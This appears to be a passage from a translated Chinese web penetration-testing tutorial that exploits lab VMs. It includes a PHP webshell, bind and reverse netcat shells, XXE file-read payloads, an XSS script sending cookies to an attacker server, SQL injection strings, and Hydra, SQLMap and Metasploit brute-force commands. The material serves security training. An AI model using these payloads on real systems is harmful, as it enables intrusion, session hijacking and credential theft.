第六章 利用 -- 低懸的果實
作者:Gilberto Najera-Gutierrez
譯者:飛龍
簡介
這章開始我們會開始涉及滲透測試的的利用層面。和漏洞評估的主要不同是,漏洞評估中測試者識別漏洞(多數時間使用自動化掃描器)和提出如何減輕它們的建議。而滲透測試中測試者作為惡意攻擊者并嘗試利用檢測到的漏洞,并得到最后的結果:整個系統的淪陷,內部網絡訪問,敏感數據泄露,以及其它。同時,要當心不要影響系統的可用性或者為真正的攻擊者留下后門。
之前的章節中,我們已經涉及了如何檢測 Web 應用中的一些漏洞。這一章中我們打算了解如何利用這些漏洞并使用它們來提取信息和獲得應用及系統受限部分的訪問權。
6.1 惡意使用文件包含和上傳
我們在第四章中看到,文件包含漏洞在開發者對生成文件路徑的輸入校驗不當,并使用該路徑來包含源代碼文件時出現。服務端語言的現代版本,例如 PHP 自 5.2.0 起,將一些特性默認關閉,例如遠程文件包含,所以 2011 年起就不大可能找到 RFI 了。
這個秘籍中,我們會上傳一些惡意文件,其中之一是 Webshell(可用于在服務器中執行命令的頁面),之后使用本地文件包含來執行它。
準備
這個秘籍中,我們會使用 vulnerable_vm 中的 DVWA ,并以中等安全級別配置,所以讓我們將其配置起來。
訪問
http://192.168.56.102/dvwa
。登錄。
將安全級別設置為中。訪問
DVWA Security
,在組合框中選擇medium
并點擊Submit
。
我們會上傳一些文件給服務器,但是你需要記住它們儲存在哪里,以便之后調用。所以,在 DVWA 中訪問Upload
并上傳任何 JPG 圖像。如果成功了,他會告訴你文件上傳到了../../hackable/uploads/
。現在我們知道了用于儲存上傳文件的相對路徑。這對于秘籍就足夠了。
我們也需要準備好我們的文件,所以讓我們創建帶有一下內容的文本文件:
<?
system($_GET['cmd']);
echo '<form method="post" action="../../hackable/uploads/webshell. php"><input type="text" name="cmd"/></form>';
?>
將其保存為webshell.php
。我們需要另一個文件,創建rename.php
并輸入下列代碼:
<?
system('mv ../../hackable/uploads/webshell.jpg ../../hackable/uploads/ webshell.php');
?>
這個文件會接受特殊圖像文件(webshell.jpg
)并將其重命名為webshell.php
。
操作步驟
-
首先,讓我們嘗試上傳我們的 webshell。在 DVWA 中訪問
Upload
之后嘗試上傳webshell.php
,像這樣:于是,這里對于我們能夠上傳的東西有個驗證。這意味著我們需要上傳圖標文件,或更精確來說,帶有
.jpg
,.gif
或.png
的圖像文件。這就是為什么我們需要重命名腳本來還原原始文件的.php
擴展,便于我們執行它。 -
為了避免驗證錯誤,我們需要將我們的 PHP 文件重命名為有效的擴展名。在終端中,我們需要訪問 PHP 文件所在目錄并創建它們的副本:
cp rename.php rename.jpg cp webshell.php webshell.jpg
-
現在,讓我們返回 DVWA 并嘗試上傳二者:
-
一旦兩個 JPG 文件都上傳了,我們使用本地文件包含漏洞過來執行
rename.jpg
。訪問文件包含部分并利用這個漏洞來包含../../hackable/uploads/rename.jpg
:我們并沒有得到這個文件執行的任何輸出,我們需要假設
webshell.jpg
命名為webshell.php
。 -
如果它能工作,我們應該能夠包含
../../hackable/uploads/ webshell.php
,讓我們試試: -
在左上角的文本框中,輸入
/sbin/ifconfig
并按下回車:并且它能夠工作。就像圖片中那樣,服務器的 IP 是
192.168.56.102
。現在,我們可以在服務器中執行命令,通過將它們鍵入到文本框中,或者為cmd
參數設置不同的值。
工作原理
在上傳有效 JPG 文件時,我們所做的第一個測試是為了發現上傳文件保存的路徑,便于我們可以在rename.php
中,以及表單的action
中使用這個路徑。
使用重命名腳本有兩個重要原因:首先,上傳頁面只允許 JPG 文件,所以我們的腳本需要這個擴展名,其次,我們需要帶參數調用我們的 webshell(要執行的命令),而我們從 Web 服務器調用圖片時不能帶參數。
PHP 中的system()
函數是攻擊核心,它所做的是,執行系統命令并顯示輸出。這允許我們將 webshell 文件從.jpg
重命名為.php
文件并執行我們指定為 GET 參數的命令。
更多
一旦我們上傳并執行了服務端代碼,我們有很多選擇來攻陷服務器,例如,下列代碼可以在綁定的 shell 中調用:
nc -lp 12345 -e /bin/bash
它打開服務器的 TCP 12345 端口并監聽連接。連接建立之后,它會將接收的信息作為輸入來執行/bin/bash
,并把輸出通過網絡發給被連接的主機(攻擊者主機)。
也可以讓服務器下載一些惡意程序,例如提權利用,執行它來獲得更高權限。
6.2 利用 OS 命令注入
在上一個秘籍中,我們看到 PHP 的system()
如何用于在服務器中執行 OS 命令。有時開發者會使用類似于它的指令,或者相同的功能來執行一些任務,有時候他們會使用無效的用戶輸入作為參數來執行命令。
這個秘籍中,我們會利用命令注入漏洞來提取服務器中的重要信息。
操作步驟
登錄 DVWA 訪問
Command Execution
。-
我們會看到
Ping for FREE
表單,試試它吧。Ping192.168.56.1
(在主機網絡中,我們的 Kali Linux 的 IP)。這個輸出看起來像是直接的 ping 命令的輸出。這表明服務器使用 OS 命令來執行 ping。所以它可能存在 OS 命令注入。
-
讓我們嘗試注入一個非常簡單的命令,提交下列代碼:
192.168.56.1;uname -a.
我們可以看到
uname
命令的輸出就在 ping 的輸出之后。這里存在命令注入漏洞。 -
如果不帶IP地址會怎么樣呢:
;uname -a:
。 -
現在,我們打算獲取服務端的反向 shell。首先我們必須確保服務器擁有所需的任何東西。提交下列代碼:
;ls /bin/nc*
。所以我們擁有多于一種版本的 Netcat,我們打算使用它來生成連接。
nc
的OpenBSD版本不支持執行連接命令,所以我們使用傳統的版本。 -
下一步是監聽 Kali 主機的連接。打開終端并執行下列命令:
nc -lp 1691 -v
-
返回瀏覽器中,提交這個:
;nc.traditional -e /bin/bash 192.168.56.1 1691 &
。,會看到這些:
<?php
if( isset( $_POST[ 'submit' ] ) ) {
$target = $_REQUEST[ 'ip' ];
// Determine OS and execute the ping command.
if (stristr(php_uname('s'), 'Windows NT')) {
$cmd = shell_exec( 'ping ' . $target );
echo '<pre>'.$cmd.'</pre>';
} else {
$cmd = shell_exec( 'ping -c 3 ' . $target );
echo '<pre>'.$cmd.'</pre>';
}
}
?>
我們可以看到,它直接將用戶的輸入附加到 ping 命令后面。我們所做的僅僅是添加一個分號,系統的 shell 會將其解釋為命令的分隔符,以及下一個我們打算執行的命令。
在成功執行命令之后,下一步就是驗證服務器是否擁有 Netcat。它是一個能夠建立網絡連接的工具,在一些版本中還可以在新連接建立之后執行命令。我們看到了服務器的系統擁有兩個不同版本的 Netcat,并執行了我們已知支持所需特性的版本。
之后我們配置攻擊系統來監聽 TCP 1691 端口連接(也可以是任何其它可用的 TCP 端口),然后我們讓服務器連接到我們的機器,通過該端口并在連接建立時執行/bin/bash
(系統 shell)。所以我們通過連接發送的任何東西都會被服務器接收作為 shell 的輸入。
也可以讓服務器下載一些惡意程序,例如提權利用,執行它來獲得更高權限。
6.3 利用 XML 外部實體注入
XML 是主要用于描述文檔或數據結構的格式,例如,HTML 是XML 的實現,它定義了頁面和它們的關系的結構和格式。
XML 實體類似于定義在 XML 結構中的數據結構,它們中的一些能夠從文件系統中讀取文件或者甚至是執行命令。
這個秘籍中,我們會利用 XML 外部實體注入漏洞來在服務器中執行代碼。
準備
建議你開始之前遵循上一個秘籍中的步驟。
操作步驟
瀏覽
http://192.168.56.102/mutillidae/index.php?page=xmlvalidator.php
。-
上面寫著它是個 XML 校驗器。讓我們嘗試提交測試示例來觀察發生什么。在 XML 輸入框中,輸入
<somexml><message>Hello World</message></ somexml>
,并點擊Validate XML
。 -
現在讓我們觀察它是否正確處理了實體,提交系列代碼:
<!DOCTYPE person [ <!ELEMENT person ANY> <!ENTITY person "Mr Bob"> ]> <somexml><message>Hello World &person;</message></somexml>
這里,我們僅僅定義了實體并將值
"Mr Bob"
賦給它。解析器在展示結果時解釋了實體并替換了它的值。 -
這就是內部實體的使用,讓我們嘗試外部實體:
<!DOCTYPE fileEntity [ <!ELEMENT fileEntity ANY> <!ENTITY fileEntity SYSTEM "file:///etc/passwd"> ]> <somexml><message>Hello World &fileEntity;</message></somexml>
使用這個技巧,我們就可以提取系統中的任何文件,只要它們可以在 Web 服務器的運行環境被用戶讀取。
我們也可以使用 XEE 來加載頁面。在上一個秘籍中,我們已經設法將 webshell 上傳到服務器中,讓我們試試吧。
<!DOCTYPE fileEntity [ <!ELEMENT fileEntity ANY> <!ENTITY fileEntity SYSTEM "http://192.168.56.102/dvwa/hackable/uploads/ webshell.php?cmd=/sbin/ifconfig"> ]> <somexml><message>Hello World &fileEntity;</message></somexml>
工作原理
XML 擁有叫做實體的特性。XML 實體是與值關聯的名稱,每次實體在文檔中使用的時候,它都會在 XML文件處理時替換為值。使用它以及不同的可用包裝器(file://
來加載系統文件,或者http://
來加載 URL),我們就可以通過輸入校驗和XML 解析器的配置,惡意使用沒有合理安全措施的實現,并提取敏感數據或者甚至在服務器中執行系統命令。
這個秘籍中,我們使用file://
包裝器來使解析器加載服務器中的任意文件,之后,使用http://
包裝器,我們調用了網頁,它碰巧是同一個服務器中的 webshell,并執行了一些命令。
更多
這個漏洞也可以用于發起 DoS 攻擊,叫做“Billion laughs”,你可以在維基百科中閱讀更多信息:https://en.wikipedia.org/wiki/Billion_laughs
。
PHP 也支持不同的 XML 實體包裝器(類似于file://
和http://
),如果它在服務器中被開啟,也會在不需要上傳文件的情況下允許命令執行,它就是expect://
。你可以在這里找到更多它和其它包裝器的信息:http://www.php.net/manual/en/wrappers.php
。
另見
XXE 漏洞如何在世界上最流行的站點上發現的例子,可以在這里查看:http://www.ubercomp.com/posts/2014-01-16_facebook_remote_code_execution
。
6.4 使用 Hydra 爆破密碼
Hydra 是網絡登錄破解器,也就是在線的破解器,這意味著它可以用于通過爆破網絡服務來發現登錄密碼。爆破攻擊嘗試猜測正確的密碼,通過嘗試所有可能的字符組合。這種攻擊一定能找到答案,但可能要花費數百萬年的時間。
雖然對于滲透測試者來說,等待這么長時間不太可行,有時候在大量服務器中測試一小部分用戶名/密碼組合是非常有效率的。
這個秘籍中,我們會使用 Hydra 來爆破登錄頁面,在一些已知用戶上執行爆破攻擊。
準備
我們需要擁有用戶名列表,在我們瀏覽 vulnerable_vm 的時候我們在許多應用中看到了有效用戶的一些名稱。讓我們創建文本文件users. txt
,內容如下:
admin
test
user
user1
john
操作步驟
-
我們的第一步是分析登錄請求如何發送,以及服務器如何響應。我們使用 Burp Suite 來捕獲 DVWA 的登錄請求:
我們可以看到請求是
/dvwa/login.php
,它擁有三個參數:username
、password
和login
。 -
如果我們停止捕獲請求,并檢查瀏覽器中的結果,我們可以看到響應是登錄頁面的重定向。
有效的用戶名/密碼組合不應該直接重定向到登錄頁面,而應該是其它頁面,例如
index.php
。所以我們假設有效登錄會重定向到其它頁面,我們會接受index.php
作為用于分辨是否成功的字符串。Hydra 使用這個字符串來判斷是否某個用戶名/密碼被拒絕了。 -
現在,我們準備好攻擊了,在終端中輸入下列命令:
hydra 192.168.56.102 http-form-post "/dvwa/login.php:username=^USE R^&password=^PASS^&Login=Login:login.php" -L users.txt -e ns -u -t 2 -w 30 -o hydra-result.txt
我們使用這個命令只嘗試了兩個用戶名組合:密碼等于用戶名和密碼為空。我們從這個攻擊之中得到了兩個有效密碼,Hydra中標為綠色。
工作原理
這個秘籍的第一個部分是捕獲和分析請求,用于了解請求如何工作。如果我們考慮登錄頁面的輸出,我們會看到消息“登錄失敗”,并且可以使用這個消息作為 Hydra的輸入來充當失敗的字符串。但是,通過檢查代理的歷史,我們可以看到它出現在重定向之后,Hydra只讀取第一個響應,所以它并不能用,這也是我們使用login.php
作為失敗字符串的原因。
我們使用了多個參數來調用 Hydra:
- 首先是服務器的 IP 地址。
-
http-form-post
:這表明 Hydra 會對 HTTP 表單使用 POST 請求。接下來是由冒號分隔的,登錄頁面的 URL。請求參數和失敗字符串由&
分隔,^USER^
和^PASS^
用于表示用戶名和密碼應該在請求中被放置的位置。 -
-L users.txt
:這告訴 Hydra 從users.txt
文件接收用戶名稱。 -
-e ns
:Hydra 會嘗試空密碼并將用戶名作為密碼。 -
-u
:Hydra會首先迭代用戶名而不是密碼。這意味著Hydra首先會對單一的密碼嘗試所有用戶名,之后移動到下一個密碼。這在防止賬戶鎖定的時候很有用。 -
-t 2
:我們不想讓登錄請求填滿服務器,所以我們使用兩個線程,這意味著每次兩個請求。 -
-w 30
:設置超時時間,或者等待服務器響應的時間。 -
-o hydra-result.txt
:將輸出保存到文本文件中。當我們擁有幾百個可能有效的密碼時這會很實用。
更多
要注意我們沒有使用-P
選項來使用密碼列表,或者-x
選項來自動生成密碼。我們這樣做是因為爆破 Web 表單產生很大的網絡流量,如果服務器對它沒有防護,會產生 DoS 的情況。
不推薦使用大量的密碼在生產服務器上執行爆破或字典攻擊,因為我們會使服務器崩潰,阻攔有效用戶,或者被客戶端的保護機制阻攔。
推薦滲透測試者在執行這種攻擊時對每個用戶嘗試四次,來避免被阻攔。例如,我們可以嘗試-e ns
,就像這里做的這樣,之后添加-p 123456
來測試三種可能性,沒有密碼、密碼和用戶名一樣以及密碼為123456
,這是世界上最常見的密碼之一。
6.5 使用 Burp Suite 執行登錄頁面的字典爆破
Burp Suite 的 Intruder 能夠對 HTTP 請求的許多部分執行模糊測試和爆破攻擊。在執行登錄頁面上的字典攻擊時非常實用。
這個秘籍中,我們會使用 Burp Suite 的 Intruder 和 第二章生成的字典來通過登錄獲得訪問權。
準備
這個秘籍需要字典列表。它可以是來自目標語言的簡單單詞列表,常見密碼的列表,或者我們在第二章“使用 John the Ripper 生成字典”中的列表。
操作步驟
第一步是設置 Burp Suite 用作瀏覽器的代理。
瀏覽
http://192.168.56.102/WackoPicko/admin/index.php
。我們會看到登錄頁面,讓我們嘗試和測試用戶名和密碼。
-
現在訪問大力的歷史,并查看我們剛剛生成的登錄的 POST 請求:
右擊它并從菜單中選擇
Send to intruder
。intruder 標簽頁會高亮,讓我們訪問它之后訪問
Positions
標簽頁。這里我們會定義請求的哪個部分要用于測試。點擊
Clear §
來清除之前選項的區域。現在,我們已經選擇了什么會用作測試輸入。高亮用戶名的值(
test
),并點擊Add §
。-
對密碼值執行相同操作,并點擊
Cluster bomb
作為攻擊類型: 下一步就是定義Intruder 用于對我們所選擇的輸入測試的值。訪問
Payloads
標簽頁。-
使用寫著
Enter a new item
的文本框和Add
按鈕,使用下列東西來填充列表:user john admin alice bob administrator user
現在從
Payload Set
框中選擇list 2
。-
我們會使用字典來填充這個列表,點擊
Load
并選擇字典文件。 我們現在擁有了兩個載荷集合,并準備好攻擊登錄頁面了。在頂部的菜單中,訪問
Intruder | Start attack
。如果我們使用免費版,會出現一個提示框告訴我們一些功能是禁用的。這里,我們可以不使用這些功能,點擊
OK
。-
新的窗口會彈出,并展示攻擊進度。為了分辨成功的登錄,我們需要檢查響應長度。點擊
Length
列來排列結果,通過不同長度來識別響應比較容易。 -
如果我們檢查不同長度的結果,我們可以看到他重定向到了管理主頁,就像下面這樣:
工作原理
Intruder 所做的是,修改請求的特定部分,并使用定義好的載荷替換這些部分的值。載荷可以是這些東西:
簡單列表:來自文件,由剪貼板傳遞或者寫在文本框中的列表。
運行時文件:Intruder 可以在運行時從文件中讀取載荷,所以如果文件非常大,它不會完全加載進內存。
數字:生成一列順序或隨機的數字,以十進制或十六進制形式。
用戶名生成器:接受郵件地址列表,從中提取可能的用戶。
爆破器:接受字符集并使用它來生成指定長度的所有排列。
這些載荷由Intruder以不同形式發送,在Positions
標簽頁中由攻擊類型指定。攻擊類型在載荷標記中的組合和排列方式上有所不同。
Sniper:對于載荷的單一集合,它將每個載荷值放在每個標記位置,一次一個。
Battering ram:類似Sniper,它使用載荷的單一集合,不同點是它在每個請求中將所有位置設置為相同的值。
Pitchfork:使用多個載荷集合,并將每個集合中的一個項目放到每個標記位置中。當我們擁有不能混用的預定義數據時,這會非常有用,例如,測試已知的用戶名和密碼。
Cluster bomb:測試多個載荷,所以每個可能的排列都可以測試到。
對于結果,我們可以看到所有失敗嘗試都有相同的響應,這里是 811 字節。所以我們假設成功響應的長度應該不同(因為它會重定向到用戶主頁)。如果碰巧成功和失敗請求長度相同,我們也可以檢查狀態碼或者使用搜索框來尋找響應中的特定模式。
更多
Kali 包含了非常實用的密碼字典和單詞列表集合,位于/usr/ share/wordlists
。一些文件可以在這里找到:
rockyou.txt
:Rockyou.com在 2010 年被攻破,泄露了多于 14 億的密碼,這個列表包含它們。dnsmap.txt
:包含常用的子域名稱,例如內部網絡、FTP或者WWW。在我們爆破 DNS 服務器時非常實用。./dirbuster/*
:dirbuster
目錄包含Web 服務器中常見的文件名稱,這些文件可以在使用DirBuster
或 OWASP ZAP 強制瀏覽時使用。./wfuzz/*
:在這個目錄中,我們可以找到用于Web 攻擊的模糊字符串的大量集合,以及爆破文件。
6.6 通過 XSS 獲得會話 Cookie
我們已經談論過了 XSS,它是現在最常見的 Web 攻擊之一。XSS 可以用于欺騙用戶,通過模仿登錄頁面來獲得身份,或者通過執行客戶端命令來收集信息,或者通過獲得會話 cookie 以及冒充在攻擊者的瀏覽器中的正常用戶來劫持會話。
這個秘籍中,我們會利用持久性 XSS 來獲得用戶的會話 Cookie,之后使用這個 cookie 來通過移植到另一個瀏覽器來劫持會話,之后冒充用戶來執行操作。
準備
對于這個秘籍,我們需要啟動 Web 服務器作為我們的 cookie 收集器,所以在我們攻擊之前,我們需要啟動 Kali 中的 Apache,之后在 root 終端中執行下列命令:
service apache2 start
在這本書所使用的系統中,Apache 的文檔根目錄位于/var/www/html
,創建叫做savecookie.php
的文件并輸入下列代碼:
<?php
$fp = fopen('/tmp/cookie_data.txt', 'a');
fwrite($fp, $_GET["cookie"] . "\n");
fclose($fp);
?>
這個 PHP 腳本會收集由 XSS 發送的所有 cookie。為了確保它能工作,訪問http://127.0.0.1/savecookie.php?cookie=test
,并且檢查/tmp/cookie_data.txt
的內容:
cat /tmp/cookie_data.txt
如果它顯式了test
單詞,就能生效。下一步就是了解 Kali 主機在 VirtualBox 主機網絡中的地址,執行:
ifconfig
對于這本書,Kali 主機 的vboxnet0
接口 IP 為 192.168.56.1 。
操作步驟
我們在這個秘籍中會使用兩個不同的瀏覽器。OWASP Mantra 是攻擊者的瀏覽器,Iceweasel 是受害者的瀏覽器。在攻擊者的瀏覽器中,訪問
http://192.168.56.102/peruggia/
。-
讓我們給頁面的圖片添加一條評論,點擊
Comment on this picture
。 -
在文本框中輸入下列代碼:
<script> var xmlHttp = new XMLHttpRequest(); xmlHttp.open( "GET", "http://192.168.56.1/savecookie.php?cookie=" + document.cookie, true ); xmlHttp.send( null ); </script>
點擊
Post
。-
頁面會執行我們的腳本,即使我們看不見任何改動。檢查Cookie 文件的內容來查看結果。在我們的 Kali 主機上,打開終端并執行:
cat /tmp/cookie_data.txt
文件中會出現新的條目。
現在,在受害者瀏覽器中訪問
http://192.168.56.102/peruggia/
。點擊
Login
。輸入
admin
作為用戶名和密碼,并點擊Login
。-
讓我們再次檢查Cookie文件的內容:
cat /tmp/cookie_data.txt
最后一個條目由受害者的瀏覽器中的用戶生成。
現在在攻擊者的瀏覽器中,確保你沒有登錄,并打開 Cookies Manager+(在 Mantra 的菜單中,
Tools | Application Auditing | Cookies Manager+
)。選擇 192.168.56.102(vulnerable_vm)的
PHPSESSID
Cookie。并點擊Edit
。-
從
/tmp/cookie_data.txt
復制最后一個Cookie。之后將其粘貼到Content
字段中,像這樣: -
點擊
Save
,之后點擊Close
并在攻擊者的瀏覽器中重新加載頁面。現在我們通過持久性 XSS 攻擊劫持了管理員的會話。
工作原理
簡單來說,我們使用應用中的 XSS 漏洞來將會話 Cookie 發送給遠程服務器,通過 JavaScript HTTP 請求。這個服務器被配置用于儲存會話 Cookie,之后,我們獲得一個會話 ID,并把它移植到不同的瀏覽器中來劫持驗證用戶的會話。下面,我們來看看每一步如何工作。
我們編寫的 PHP 文件用于在 XSS 攻擊執行時保存收到的 COokie。
我們輸入的評論是一個腳本,使用JavaScript 的XMLHttpRequest 對象來向我們的惡意服務器發送 HTTP 請求,這個請求由兩步構建:
xmlHttp.open( "GET", "http://192.168.56.1/savecookie.php?cookie=" + document.cookie, true );
我們使用 GET 方法打開請求,向http://192.168.56.1/savecookie.php
URL添加叫做cookie
的參數,它的值儲存在document.cookie
中,它是 JavaScript 中儲存cookie值的變量。最后的參數設置為true
,告訴瀏覽器這是異步請求,這意味著它不需要等待響應。
xmlHttp.send( null )
最后的指令將請求發送給服務器。
在管理員登錄并查看包含我們所發送評論的頁面之后,腳本會執行,并且管理員的會話 cookie 就儲存在我們的服務器中了。
最后,一旦我們獲得了有效用戶的會話 cookie,我們可以在瀏覽器中替換我們自己的會話 cookie,之后重新加載頁面來執行操作,就像我們是這個用戶一樣。
更多
不僅僅是保存會話 Cookie 到文件,惡意服務器也可以使用這些cookie 來向應用發送請求來冒充正常用戶,以便執行操作,例如添加或刪除評論、上傳圖片或創建新用戶,甚至是管理員。
6.7 逐步執行基本的 SQL 注入
我們在第四章了解了如何檢測 SQL 注入。這個秘籍中,我們會利用這個注入,并提取數據庫的信息。
操作步驟
我們已經知道了 DVWA 存在SQL 注入的漏洞。所以我們使用 OWASP Mantra 登錄,之后訪問
http://192.168.56.102/dvwa/vulnerabilities/ sqli/
。在檢測 SQL 注入存在之后,下一步就是查詢,準確來說就是結果有多少列。在 ID 框中輸入任何數字之后點擊
Submit
。現在,打開 HackBar(按下F9)并點擊
Load URL
。地址欄中的 URL 應該出現在 HackBar 內。在 HackBar 中,我們將
id
參數的值替換為1' order by 1 -- '
,并點擊Execute
。-
我們通過執行請求,持續增加
order
數字后面的值,直到發生錯誤。這里例子中,它在3
的時候發生。 -
現在,我們知道了請求由兩列。讓我們嘗試是否能使用 UNION 語句來提取一些信息。現在將
id
的值設為1' union select 1,2 -- '
并點擊Excecute
。 -
這意味著我們可以在 UNION 查詢中請求兩個值。那么試試 DBMS 的版本和數據庫用戶如何呢?將
id
設為1' union select @@version,current_user() -- '
并點擊Execute
。 -
讓我們查找一些有關的東西,例如應用的用戶。首先,我們需要定位用戶表,將
id
設置為1' union select table_schema, table_name FROM information_schema.tables WHERE table_name LIKE '%user%' -- '
。 -
好的,我們知道了數據庫(或Schema)叫做
dvwa
,我們要查找的表叫做users
。因為我們只有兩個地方來設置值,我們需要知道的哪一列對我們有用。將id
設置為1' union select column_name, 1 FROM information_schema.tables WHERE table_name = 'users' -- '
。 -
最后,我們確切知道了要請求什么,將
id
設為1' union select user, password FROM dvwa.users -- '
。在
First name
字段中,我們得到了應用的用戶名,在Surname
字段匯總,我們得到了每個用戶的密碼哈希。我們可以將這些哈希復制到我呢本文呢減重,并且嘗試使用 John the Ripper 或我們喜歡的密碼破解器來破解。
工作原理
在我們的第一次注入,1' order by 1 -- '
到1' order by 3 -- '
中,我們使用 SQL 語言的特性,它允許我們通過特定的字段或類,使用它的編號來排列結果。我們用它來產生錯誤,于是能夠知道查詢一共有多少列,便于我們將其用于創建 UNION 查詢。
UNION 查詢語句用于連接兩個擁有相同列數量的查詢,通過注入這些我們就可以查詢數據庫中幾乎所有東西。這個秘籍中,我們首先檢查了它是否像預期一樣工作,之后我們將目標設置為users
表,并設法獲得它。
第一步是弄清數據庫和表的名稱,我們通過查詢information_schema
數據庫來實現,它是 MySQL 中儲存所有數據庫、表和列信息的數據庫。
一旦我們知道了數據庫和表的名稱,我們在這個表中查詢所有列,來了解我們需要查找哪一列,它的結果是user
和password
。
最后,我們注入查詢來請求dvwa
數據庫的users
表中的所有用戶名和密碼。
6.8 使用 SQLMap 發現和利用 SQL 注入
我們已經在上一個秘籍中看到,利用 SQL 注入是個繁瑣的步驟。SQLMap 是個命令行工具,包含在 Kali 中,可以幫我們自動化檢測和利用 SQL 注入。它帶有多種技巧,并支持多種數據庫。
這個秘籍中,我們會使用 SQLMap 來檢測和利用 SQL 注入漏洞,并用它獲得應用的用戶名和密碼。
操作步驟
訪問
http://192.168.56.102/mutillidae
。在 Mutillidae 的菜單中,訪問
OWASP Top 10 | A1 – SQL Injection | SQLi Extract Data | User Info
。嘗試任何用戶名和密碼,例如
user
和password
之后點擊View Account Details
。登錄會失敗,但是我們對 URL 更感興趣。訪問地址欄并將完整的 URL 復制到剪貼板。
-
現在,打開終端窗口,輸入下列命令:
sqlmap -u "http://192.168.56.102/mutillidae/index.php?page=userinfo.php&username=user&password=password&user-info-php-submitbutton=View+Account+Details" -p username --current-user --currentdb
你可以注意到,
-u
參數就是所復制的 URL 的值。-p
告訴 SQLMap 我們打算在用戶名參數中查找注入。一旦漏洞被利用,我們想讓它獲得當前數據庫用戶名和數據庫的名稱。我們只打算獲得這兩個值,因為我們只想判斷這個 URL 的username
參數是否存在 SQL 注入。 一旦 SQLMap 檢測到應用所使用的 DBMS,它會詢問我們是否跳過檢測其它 DBMS 的步驟,以及是否打算包含所有特定系統的測試。即使它們在當前的配置等級和風險之外。這里,我們回答
Ues
來跳過其它系統,以及No
來包含所有測試。-
一旦我們指定的參數中發現了漏洞,SQLMap 會詢問我們是否打算測試其它參數,我們回答
No
,之后觀察結果: -
如果我們打開獲得用戶名和密碼,類似于我們在上一個秘籍那樣,我們需要知道含有這些信息的表名稱。在終端中執行下列代碼:
sqlmap -u "http://192.168.56.102/mutillidae/index.php?page=userinfo.php&username=test&password=test&user-info-php-submitbutton=View+Account+Details" -p username -D nowasp --tables
SQLMap 會保存所執行的注入日志,所以第二次攻擊會花費更少的時間。你可以看到,我們指定了要提取信息(nowasp)的數據庫,并告訴 SQLMap 我們想獲取這個數據庫的表名稱列表。
-
accounts
表使含有我們想要的信息的表之一。讓我們轉儲內容:sqlmap -u "http://192.168.56.102/mutillidae/index.php?page=userinfo.php&username=test&password=test&user-info-php-submitbutton=View+Account+Details" -p username -D nowasp -T accounts --dump
我們現在擁有完整的用戶表,并且我們可以看到,這里密碼并沒有加密,所以我們可以直接使用它們。
工作原理
SQLMap 會使用 SQL 注入字符串,對給定 URL 和數據的輸入進行模糊測試,或者只針對-p
選項中的特定目標,并且解釋其響應來發現是否存在漏洞。不要模糊測試所有輸入,最好使用 SQLMap 來利用我們已知存在的注入,并始終嘗試縮小搜索過程,通過提供所有可用的信息,例如漏洞參數、DBMS 類型,以及其它。在所有可能性下尋找注入會花費大量時間,并在網絡中產生非常大的流量。
這個秘籍中,我們已經知道了用戶名參數存在注入漏洞(因為我們使用了 Mutillidae 的注入測試頁面)。在第一個攻擊中,我們只希望確認注入是否存在,并詢問一些非常基本的信息:用戶名(--curent-user
)和數據庫名稱(--current-db
)。
在第二個攻擊中,我們使用-D
選項,以及前一次攻擊所獲得的名稱,指定希望查詢的數據庫,我們也使用--tables
詢問了所包含的表名稱。
知道我們希望獲得哪個表(-T accounts
)之后,我們告訴 SQLMap 使用--dump
轉儲它的內容。
更多
SQLMap 也能夠注入 POST 參數中的輸入變量。我們只需要添加--data
選項并附帶 POST 數據,例如:
--data "username=test&password=test"
有時候,我們需要在一些應用中獲得身份驗證,以便能夠訪問應用的漏洞 URL。如果是這樣,我們可以傳遞有效的會話 Cookie給 SQLMap, 使用--cookie
選項:
--cookie "PHPSESSID=ckleiuvrv60fs012hlj72eeh37"
這在測試Cookie值的注入時也非常有用。
另一個有趣的特性是,使用--sql-shell
選項,它可以為我們提供 SQL shell,其中我們可以執行 SQL 查詢,就像我們直接連接到數據庫那樣。或更有趣的是,我們可以使用--osshell
在數據庫服務器中執行系統命令(在注入 MSSQL 服務器時特別有用)。
為了了解 SQLMap 擁有的所有選項和特性,你可以執行:
sqlmap --help
另見
Kali 包含了用于檢測和利用 SQL 注入漏洞的其它工具,它們能夠用于代替或配合 SQLMap:
- sqlninja:非常流行的工具,為利用 MSSQL 服務器而設計。
- Bbqsql:Python 編寫的 SQL 盲注框架。
- jsql:基于 Java 的工具,帶有完全自動化的 GUI,我們只需要輸入 URL 并按下按鈕。
- Metasploit:它包含不同 DBMS 的多種 SQL 注入模塊。
6.9 使用 Metasploit 攻擊 Tomcat 的密碼
Apache Tomcat,是世界上最廣泛使用的 Java Web 服務器之一。帶有默認配置的 Tomcat 服務器非常容易發現。發現暴露 Web 應用管理器的服務器也非常容易,它是一個應用,允許管理員啟動、停止、添加和刪除服務器中的應用。
這個秘籍中,我們會使用 Metasploit 模塊來執行 Tomcat 服務器上的字典攻擊來獲得管理器應用的訪問。
準備
在我們開始使用 Metasploit 之前,我們需要在 root 終端中開啟數據庫服務:
service postgresql start
操作步驟
-
啟動 Metasploit 的控制臺。
msfconsole
-
啟動之后,我們需要加載合適的模塊,在
msf>
提示符之后鍵入下列代碼:use auxiliary/scanner/http/tomcat_mgr_login
-
我們可能打算查看它使用什么參數:
show options
-
現在,我們設置目標主機:
set rhosts 192.168.56.102
-
為了使它更快,但是不要太快,我們增加線程數:
set threads 5
-
同時,我們不希望讓我們的服務器由于太多請求而崩潰,所以我們降低爆破的速度:
set bruteforce_speed 3
-
剩余參數剛好適用于我們的情況,讓我們執行攻擊:
run
在一些嘗試中失敗之后,我們發現了有效的密碼,它使用
[+]
標記。
工作原理
通常 Tomcat 使用 TCP 8080,它的管理器應用位于/manager/html
中。這個應用使用基本的 HTTP 驗證。我們剛剛使用的 Metasploit 輔助模塊(tomcat_mgr_login
)有一些值得提及的配置項:
BLANK_PASSWORDS
:對每個嘗試的用戶添加空密碼測試。PASSWORD
:如果我們打算測試多個用戶的單一密碼,或者添加列表中沒有包含的項目,這就很實用。PASS_FILE
:用于測試的密碼列表。Proxies
:如果我們需要通過代理來訪問我們的目標,或者避免檢測,就用這個選項。RHOSTS
:單個主機,或多個(使用空格分隔),或者我們想要測試的主機列表文件(/path/to/file/with/hosts
)。RPORT
:Tomcat 所使用的 TCP 端口。STOP_ON_SUCCESS
:發現有效密碼之后停止嘗試。TARGERURI
:主機中管理器應用的位置。USERNAME
指定特殊的用戶名來測試,它可以被單獨測試,或者添加到定義在USER_FILE
的列表中。USER_PASS_FILE
:包含要被測試的“用戶名 密碼”組合的文件。USER_AS_PASS
